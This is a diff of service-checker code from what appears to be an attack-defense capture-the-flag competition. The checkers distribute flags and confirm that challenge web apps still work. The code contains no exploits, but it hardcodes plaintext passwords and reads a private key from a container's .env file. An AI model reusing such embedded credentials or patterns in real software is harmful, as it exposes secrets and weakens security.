import string
|
||||
|
||||
from config import get_settings
|
||||
|
||||
|
||||
class Challenge(object):
|
||||
name = __name__
|
||||
settings = get_settings()
|
||||
port = 0
|
||||
|
||||
def __init__(self, port):
|
||||
self.port = port
|
||||
self.add_logger()
|
||||
|
||||
def add_logger(self):
|
||||
self.logger = logging.getLogger()
|
||||
|
||||
def random_string(self, length):
|
||||
charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
|
||||
return ''.join(random.choice(charset) for i in range(length))
|
||||
|
||||
def distribute(self, flag):
|
||||
raise NotImplementedError
|
||||
|
||||
def check(self):
|
||||
raise NotImplementedError
|
||||
|
||||
def credentials(self):
|
||||
return {
|
||||
'username': 'root',
|
||||
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
|
||||
}
|
||||
@@ -1,38 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import requests
|
||||
import os
|
||||
|
||||
MOCK_URL = 'http://google.com'
|
||||
MOCK_DATA = '<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">'
|
||||
|
||||
class Crawlback(Challenge):
|
||||
flag_location = 'flags/crawlback.txt'
|
||||
history_location = 'history/crawlback.txt'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
r = requests.post(f"http://localhost:{self.port}/crawlback.php", data={'url': MOCK_URL})
|
||||
|
||||
assert r.text.split('\n').pop(0) == MOCK_DATA
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check crawlback: {e}')
|
||||
return False
|
||||
@@ -1,67 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import requests
|
||||
import zlib
|
||||
import gzip
|
||||
import json
|
||||
|
||||
MOCK_URL = 'http://google.com'
|
||||
MOCK_DATA_WGET = 'Google</title>'
|
||||
MOCK_DATA_CURL = '<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">'
|
||||
|
||||
class GemasFetcher(Challenge):
|
||||
flag_location = 'flags/gemas-fetcher.txt'
|
||||
history_location = 'history/gemas-fetcher.txt'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
sess = requests.Session()
|
||||
|
||||
## register
|
||||
username = self.random_string(5)
|
||||
password = self.random_string(5)
|
||||
r = sess.post(f"http://localhost:{self.port}/auth/register", data={"username":username,"password": password}, allow_redirects=False)
|
||||
assert r.headers.get("location") == "/auth/login", "Register Failed"
|
||||
|
||||
## login
|
||||
r = sess.post(f"http://localhost:{self.port}/auth/login", data={"username":username,"password": password}, allow_redirects=False)
|
||||
assert r.headers.get("location") == "/dashboard", "Login Failed"
|
||||
|
||||
## wget
|
||||
content = {"provider": "wget","url":MOCK_URL}
|
||||
files = {"file": ("visit", b"\x00\x00"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
|
||||
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
|
||||
assert MOCK_DATA_WGET in r.text, "wget Failed"
|
||||
|
||||
## curl
|
||||
content = {"provider": "curl","url":MOCK_URL}
|
||||
files = {"file": ("visit", b"\x00\x01"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
|
||||
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
|
||||
assert r.text.split('\n').pop(0) == MOCK_DATA_CURL, "curl Failed"
|
||||
|
||||
## python
|
||||
content = {"provider": "python","url":MOCK_URL}
|
||||
files = {"file": ("visit", b"\x00\x02"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
|
||||
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
|
||||
assert r.text.startswith('"PCFkb2N0eXBlIGh0bWw'), "python Failed"
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check gemas-fetcher: {e}')
|
||||
return False
|
||||
@@ -1,67 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import requests
|
||||
|
||||
class GemasNotes(Challenge):
|
||||
history_location = 'history/gemas-notes.txt'
|
||||
host = "http://localhost:12000"
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
username = "gemasflagreceiver"
|
||||
password = "AuTeEbn%.Q5$pC_ge6"
|
||||
result = requests.post(f"{self.host}/flag_receiver", json={"flag": flag}, auth=(username,password)).json()
|
||||
if not result.get("success"):
|
||||
return False
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} updated in gemas-notes database')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could send flag to gemas-notes challenge: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
url = f'http://localhost:{self.port}'
|
||||
|
||||
# login
|
||||
token = requests.post(f"{url}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
|
||||
header = {"Authorization": f"Bearer {token}"}
|
||||
|
||||
# get count
|
||||
old_count = requests.post(f"{url}/api/notes/count", headers=header, json={"count_by":"title", "keyword":""}).json()["count"]
|
||||
|
||||
# create notes
|
||||
notes = {"title":self.random_string(10), "content":self.random_string(20), "tags":self.random_string(10)}
|
||||
status_code = requests.put(f"{url}/api/notes", headers=header, json=notes).status_code
|
||||
assert status_code in [200, 201], "Cannot Create Note"
|
||||
|
||||
# get notes
|
||||
all_notes = requests.get(f"{url}/api/notes").json()
|
||||
note = list(filter(lambda x: x["title"] == notes["title"], all_notes))
|
||||
assert len(note) != 0, "Note was not created"
|
||||
|
||||
# get new count
|
||||
new_count = requests.post(f"{url}/api/notes/count", headers=header, json={"count_by":"title", "keyword":""}).json()["count"]
|
||||
assert old_count != new_count, "Invalid count"
|
||||
|
||||
# update notes
|
||||
new_content = self.random_string(20)
|
||||
notes["id"] = note[0]["id"]
|
||||
notes["content"] = new_content
|
||||
status_code = requests.patch(f"{url}/api/notes", headers=header, json=notes).status_code
|
||||
assert status_code in [200, 204], "Cannot Update Note"
|
||||
|
||||
# delete notes
|
||||
status_code = requests.delete(f"{url}/api/notes/{notes['id']}", headers=header, json=notes).status_code
|
||||
assert status_code == 200, "Cannot Delete Note"
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check gemas-notes: {e}')
|
||||
return False
|
||||
@@ -1,42 +0,0 @@
|
||||
import requests
|
||||
from base64 import b64decode
|
||||
|
||||
from .Challenge import Challenge
|
||||
|
||||
|
||||
class Hirnfick(Challenge):
|
||||
flag_location = 'flags/hirnfick.txt'
|
||||
history_location = 'history/hirnfick.txt'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(
|
||||
f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
res = requests.post(
|
||||
f"http://localhost:{self.port}/api/run",
|
||||
timeout=5,
|
||||
json={
|
||||
"code":
|
||||
"+[-->-[>>+>-----<<]<--<---]>-.>>>+.>>..+++[.>]<<<<.+++.------.<<-.>>>>+."
|
||||
})
|
||||
|
||||
assert b64decode(res.json()["output"]) == b"HirnFick 1.0\nHello, World!"
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check hirnfick: {e}')
|
||||
return False
|
||||
@@ -1,109 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import requests
|
||||
|
||||
|
||||
class Pasta(Challenge):
|
||||
flag_location = 'flags/pasta.txt'
|
||||
history_location = 'history/pasta.txt'
|
||||
host = "http://localhost:13000"
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
url = f'http://localhost:{self.port}'
|
||||
username = f"checker-{self.random_string(8)}"
|
||||
pwd = self.random_string(12)
|
||||
flag = open(self.flag_location).read()
|
||||
|
||||
admin_data = {
|
||||
'username': 'deomkicer_number_1_fans',
|
||||
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
|
||||
}
|
||||
|
||||
# login admin and check flag
|
||||
response = requests.post(
|
||||
f"{url}/auth",
|
||||
json=admin_data).json()
|
||||
|
||||
token = response.get('token')
|
||||
assert token, "Token is missing in login admin"
|
||||
check_flag = requests.get(f"{url}/flag", headers={'Authorization': f"Bearer {token}"}).json()
|
||||
assert check_flag.get('flag') == flag, "Flag is missing/mismatch"
|
||||
|
||||
# register
|
||||
response = requests.post(
|
||||
f"{url}/register",
|
||||
json={
|
||||
"username": f"{username}",
|
||||
"password": f"{pwd}"}).json()
|
||||
|
||||
assert response.get('success') == "User registered succesfully", "Register failed"
|
||||
|
||||
# login with version 1
|
||||
response = requests.post(
|
||||
f"{url}/auth?version=1",
|
||||
json={
|
||||
"username": f"{username}",
|
||||
"password": f"{pwd}"}).json()
|
||||
|
||||
token = response.get('token')
|
||||
assert token, "Token is missing in login v1"
|
||||
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
|
||||
assert check_home.get('username') == username, "Different username found in login v1"
|
||||
|
||||
# login with version 2
|
||||
response = requests.post(
|
||||
f"{url}/auth?version=2",
|
||||
json={
|
||||
"username": f"{username}",
|
||||
"password": f"{pwd}"}).json()
|
||||
|
||||
token = response.get('token')
|
||||
assert token, "Token is missing in login v2"
|
||||
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
|
||||
assert check_home.get('username') == username, "Different username found in login v2"
|
||||
|
||||
# login with version 3
|
||||
response = requests.post(
|
||||
f"{url}/auth?version=3",
|
||||
json={
|
||||
"username": f"{username}",
|
||||
"password": f"{pwd}"}).json()
|
||||
|
||||
token = response.get('token')
|
||||
assert token, "Token is missing in login v3"
|
||||
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
|
||||
assert check_home.get('username') == username, "Different username found in login v3"
|
||||
|
||||
# login with version 4
|
||||
response = requests.post(
|
||||
f"{url}/auth?version=4",
|
||||
json={
|
||||
"username": f"{username}",
|
||||
"password": f"{pwd}"}).json()
|
||||
|
||||
token = response.get('token')
|
||||
assert token, "Token is missing in login v4"
|
||||
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
|
||||
assert check_home.get('username') == username, "Different username found in login v4"
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check pasta: {e}')
|
||||
return False
|
||||
@@ -1,44 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import requests
|
||||
import os
|
||||
|
||||
|
||||
class S3(Challenge):
|
||||
flag_location = 'flags/s3.txt'
|
||||
history_location = 'history/s3.txt'
|
||||
host = 'http://localhost:20000'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
filename = self.random_string(8) + ".txt"
|
||||
content = self.random_string(64)
|
||||
|
||||
r = requests.post(f"http://localhost:{self.port}/upload", files={'file': (filename, content)})
|
||||
assert r.status_code == 200
|
||||
assert r.text == f'Download <a href="/download?filename={filename}">here</a>'
|
||||
|
||||
r = requests.get(f"http://localhost:{self.port}/download?filename={filename}")
|
||||
assert r.status_code == 200
|
||||
assert r.text == content
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check s3: {e}')
|
||||
return False
|
||||
@@ -1,66 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import io
|
||||
import pandas as pd
|
||||
import requests
|
||||
import re
|
||||
|
||||
MOCK_DATA = [
|
||||
{'name': 'John','age': 30, 'city': 'New York'},
|
||||
{'name': 'Mary', 'age': 25, 'city': 'San Francisco'},
|
||||
{'name': 'Peter', 'age': 45, 'city': 'Chicago'},
|
||||
]
|
||||
|
||||
MOCK_RESULT = {
|
||||
"Sheet1":{
|
||||
"!ref":"A1:C4",
|
||||
"A1":{"t":"s","v":"name","h":"name","w":"name"},"B1":{"t":"s","v":"age","h":"age","w":"age"},"C1":{"t":"s","v":"city","h":"city","w":"city"},
|
||||
"A2":{"t":"s","v":"John","h":"John","w":"John"},"B2":{"t":"n","v":30,"w":"30"},"C2":{"t":"s","v":"New York","h":"New York","w":"New York"},
|
||||
"A3":{"t":"s","v":"Mary","h":"Mary","w":"Mary"},"B3":{"t":"n","v":25,"w":"25"},"C3":{"t":"s","v":"San Francisco","h":"San Francisco","w":"San Francisco"},
|
||||
"A4":{"t":"s","v":"Peter","h":"Peter","w":"Peter"},"B4":{"t":"n","v":45,"w":"45"},"C4":{"t":"s","v":"Chicago","h":"Chicago","w":"Chicago"},
|
||||
"!margins":{"left":0.75,"right":0.75,"top":1,"bottom":1,"header":0.5,"footer":0.5}
|
||||
}
|
||||
}
|
||||
|
||||
class XL(Challenge):
|
||||
flag_location = 'flags/xl.txt'
|
||||
history_location = 'history/xl.txt'
|
||||
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
url = f'http://localhost:{self.port}'
|
||||
files = {'file': self.generate_mock_file()}
|
||||
r = requests.post(url, files=files, timeout=5)
|
||||
assert r.json() == MOCK_RESULT, 'Unexpected response'
|
||||
self.logger.info('Check passed for xl')
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check xl: {e}')
|
||||
return False
|
||||
|
||||
def generate_mock_file(self):
|
||||
memory_file = io.BytesIO()
|
||||
|
||||
df = pd.DataFrame(MOCK_DATA)
|
||||
df.to_excel(memory_file, index=False)
|
||||
|
||||
memory_file.seek(0)
|
||||
return memory_file
|
||||
@@ -1,105 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
from modules.blinkpdf import *
|
||||
|
||||
import io
|
||||
import requests
|
||||
import subprocess
|
||||
import re
|
||||
|
||||
class BlinkPDF(Challenge):
|
||||
flag_location = 'flags/blinkpdf.txt'
|
||||
history_location = 'history/blinkpdf.txt'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
# Getting private key
|
||||
container_env = subprocess.run(
|
||||
["docker", "exec", "blinkpdf_container", "cat", "/opt/.env"],
|
||||
capture_output=True,
|
||||
text=True
|
||||
).stdout.strip()
|
||||
private_key = re.search(r'PRIVATE_KEY="(.+?)"', container_env).group(1)
|
||||
assert len(private_key) > 0, 'Missing PRIVATE_KEY on .env'
|
||||
|
||||
sess = requests.Session()
|
||||
|
||||
# Checking C1: Login as user
|
||||
url = f'http://localhost:{self.port}/login'
|
||||
data = {"username": "user", "password": "user"}
|
||||
r = sess.post(url, data=data, timeout=5)
|
||||
assert 'Welcome to the PDF Signature App'.lower() in r.text.lower(), 'Cannot login as user'
|
||||
|
||||
pdfpath = 'files/blinkpdf_hellodocs.pdf'
|
||||
pdfbytes = open(pdfpath, 'rb').read()
|
||||
|
||||
# Checking C2: Sign pdf as user
|
||||
sign_url = f'http://localhost:{self.port}/sign'
|
||||
r = sess.post(sign_url, timeout=5)
|
||||
sendata = ('main.pdf', pdfbytes, 'application/pdf')
|
||||
filedata = {'file': sendata}
|
||||
r = sess.post(sign_url, files=filedata, timeout=5)
|
||||
signed_pdf = r.content
|
||||
assert r.status_code == 200 and 'application/pdf' in r.headers['Content-Type'], 'Signed PDF not available or incorrect content type'
|
||||
signed_pdf_stream = io.BytesIO(signed_pdf)
|
||||
assert verify_signature(signed_pdf_stream, private_key), 'Algorithm for signature process is changed'
|
||||
|
||||
# Checking C3: Verify valid pdf as user
|
||||
pdf_bytes_stream = io.BytesIO(pdfbytes)
|
||||
signed_pdf_stream = sign_pdf(pdf_bytes_stream, private_key)
|
||||
verify_url = f'http://localhost:{self.port}/verify'
|
||||
sendata = ('main_signed.pdf', signed_pdf_stream, 'application/pdf')
|
||||
filedata = {'file': sendata}
|
||||
r = sess.post(verify_url, files=filedata, timeout=5)
|
||||
assert 'The signature is <strong>valid</strong>.' in r.text, 'Verify function not working or algoritm verify process is changed'
|
||||
|
||||
# Checking C3: Verify invalid pdf as user
|
||||
verify_url = f'http://localhost:{self.port}/verify'
|
||||
sendata = ('main_signed.pdf', pdfbytes, 'application/pdf')
|
||||
filedata = {'file': sendata}
|
||||
r = sess.post(verify_url, files=filedata, timeout=5)
|
||||
assert 'The signature is <strong>invalid' in r.text, 'Verify function not working or algoritm verify process is changed for invalid signature'
|
||||
|
||||
# Checking C4: Checking flag on container
|
||||
with open(self.flag_location, 'r') as f:
|
||||
host_flag = f.read().strip()
|
||||
|
||||
container_flag = subprocess.run(
|
||||
["docker", "exec", "blinkpdf_container", "cat", "/flag.txt"],
|
||||
capture_output=True,
|
||||
text=True
|
||||
).stdout.strip()
|
||||
assert host_flag == container_flag, 'Flag mismatch between host and container'
|
||||
|
||||
# Checking C5: Login as admin and enc_flag checking
|
||||
url = f'http://localhost:{self.port}/login'
|
||||
data = {'username': "admin", "password": f'{private_key}'}
|
||||
r = sess.post(url, data=data, timeout=5)
|
||||
assert 'Welcome to the PDF Signature App'.lower() in r.text.lower(), 'Cannot login as admin'
|
||||
url = f'http://localhost:{self.port}/admin_panel'
|
||||
r = sess.get(url, timeout=5)
|
||||
enc_flag = r.text.split('encrypted flag: ')[1].split('</p>')[0]
|
||||
cek, dec = decryptMessage(enc_flag, private_key)
|
||||
assert dec.decode() == host_flag, 'Change algorithm for encryption flag'
|
||||
assert cek == True, 'Change signature algorithm for encryption flag'
|
||||
|
||||
self.logger.info('Check passed for blinkpdf')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check blinkpdf: {e}')
|
||||
return False
|
||||
@@ -1,93 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import io
|
||||
import requests
|
||||
import random
|
||||
import subprocess
|
||||
import json
|
||||
|
||||
class Niko(Challenge):
|
||||
flag_location = 'flags/niko.txt'
|
||||
history_location = 'history/niko.txt'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
error_messages = [
|
||||
"あなたはどんなオタクですか",
|
||||
"冗談じゃないよ!",
|
||||
"tch なんだよ こいつ",
|
||||
"どうしてそんなことが可能でしょうか…不可能です",
|
||||
"本当のあなたは何ですか?",
|
||||
"うわー、ごめんなさい",
|
||||
"御心のままに、主よ",
|
||||
"もういいよ、やめて!",
|
||||
"時間です",
|
||||
"悪くないよ。"
|
||||
]
|
||||
try:
|
||||
# Step 1: Check if the flag still exists and matches the one in the container
|
||||
with open(self.flag_location, 'r') as f:
|
||||
host_flag = f.read().strip()
|
||||
|
||||
container_flag = subprocess.run(
|
||||
["docker", "exec", "niko_container", "cat", "/flag.txt"],
|
||||
capture_output=True,
|
||||
text=True
|
||||
).stdout.strip()
|
||||
|
||||
assert host_flag == container_flag, 'Flag mismatch between host and container'
|
||||
|
||||
self.logger.info('Flag check passed for niko')
|
||||
|
||||
# Step 2: Check if can access flag
|
||||
container_key = subprocess.run(
|
||||
["docker", "exec", "niko_container", "cat", "/opt/flag"],
|
||||
capture_output=True,
|
||||
text=True
|
||||
).stdout.strip()
|
||||
urlFlag = f'http://localhost:{self.port}/api/getFlag?flag={container_key}'
|
||||
expected_output = container_flag
|
||||
response2 = requests.get(urlFlag)
|
||||
assert response2.text.strip() == expected_output, 'Get Flag check does not work'
|
||||
self.logger.info('Get flag endpoint check passed for niko')
|
||||
|
||||
# Step 3: Check if the webpage can be accessed
|
||||
url = f'http://localhost:{self.port}/'
|
||||
response = requests.get(url)
|
||||
status_code = response.status_code
|
||||
assert status_code == 200, 'Webpage is not accessible'
|
||||
self.logger.info('Webpage accessibility check passed for niko')
|
||||
|
||||
# Step 4: Check if the output of the specific URL equals the expected string
|
||||
urlFlag = f'http://localhost:{self.port}/api/getFlag?flag=1'
|
||||
expected_output = "(⋟﹏⋞) 私をバカにしようとしているのか (´ ͡༎ຶ ͜ʖ ͡༎ຶ `)︵‿︵"
|
||||
response2 = requests.get(urlFlag)
|
||||
assert response2.text.strip() == expected_output, 'Webpage output does not match expected output'
|
||||
self.logger.info('Webpage output check passed for niko')
|
||||
|
||||
# Step 5: Check if the chat endpoint is working
|
||||
urlChat = f'http://localhost:{self.port}/api/chat'
|
||||
data = 'test'
|
||||
response3 = requests.post(urlChat, data=data)
|
||||
assert json.loads(response3.text.strip()).get("output") in error_messages, 'Api endpoint is not accessible'
|
||||
self.logger.info('Webpage delay check passed for niko')
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check niko: {e}')
|
||||
return False
|
||||
Binary file not shown.
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WRECKIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WreckIT50{PLACEHOLDER}
|
||||
@@ -0,0 +1 @@
|
||||
GEMASTIK{PLACEHOLDER}
|
||||
@@ -0,0 +1 @@
|
||||
GEMASTIK{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WreckIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WreckIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WreckIT50{PLACEHOLDER}
|
||||
@@ -1 +0,0 @@
|
||||
WreckIT50{PLACEHOLDER}
|
||||
+2
-8
@@ -4,9 +4,6 @@ from fastapi.security import HTTPBasic, HTTPBasicCredentials
|
||||
from config import get_settings
|
||||
|
||||
from challenges.Poke import Poke
|
||||
from challenges.Wanderer import Wanderer
|
||||
from challenges.Naraka import Naraka
|
||||
from challenges.Niko import Niko
|
||||
from challenges.Blinkpdf import BlinkPDF
|
||||
|
||||
import os
|
||||
@@ -16,11 +13,8 @@ security = HTTPBasic()
|
||||
settings = get_settings()
|
||||
|
||||
challenges = {
|
||||
"poke": Poke(10000),
|
||||
"blinkpdf": BlinkPDF(11000),
|
||||
"naraka": Naraka(12000),
|
||||
"wanderer": Wanderer(13000),
|
||||
"niko": Niko(15000),
|
||||
"blogpost": Poke(10000),
|
||||
"cdn": BlinkPDF(11000),
|
||||
}
|
||||
|
||||
class Flag(BaseModel):
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user